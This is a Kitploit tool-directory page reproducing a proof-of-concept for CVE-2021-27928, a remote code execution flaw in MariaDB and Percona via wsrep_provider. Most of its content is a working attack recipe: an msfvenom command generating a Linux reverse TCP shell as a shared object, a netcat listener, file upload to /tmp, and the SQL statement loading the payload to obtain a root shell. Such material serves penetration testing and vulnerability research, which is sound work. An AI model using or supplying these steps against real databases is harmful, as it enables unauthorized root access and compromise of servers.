Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-27928-POC — CVE-2021-27928-POC | Kitploit
Tools/GitHubGitHub/shamo0/cve-2021-27928-poc
Payload GenerationVulnerability AnalysisExploitationShellcodePenetration TestingDatabase Security
GitHubshamo0/cve-2021-27928-poc

CVE-2021-27928-POC

CVE-2021-27928-POC

View Repository
124 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-27928 POC

Description

A remote code execution issue was discovered in MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL. An untrusted search path leads to eval injection, in which a database SUPER user can execute OS commands after modifying wsrep_provider and wsrep_notify_cmd. NOTE: this does not affect an Oracle product.

POC

Let's create our payload with Msfvenom. For our payload we will use /linux/x64/shell_reverse_tcp with our IP for LHOST and PORT number for LPORT. We are also gonna specify the file type with -f which in our case is elf-so. And we will save the output file as CVE-2021.27928.so with -o option. msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so

Our payload is ready! let's set up netcat a listener on our specified port.

Let's move our file to the target machine. For this we can use any way we prefer. I will use python http server.

Lets save the file to /tmp directory

Now we need to log into the database and set wsrep_provider to our uploaded payload.

SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

Time to check our listener. If we were successful we sould have obtained root shell on the machine!

Happy Hacking!

References

https://www.exploit-db.com/exploits/49765

https://nvd.nist.gov/vuln/detail/CVE-2021-27928

Download Tool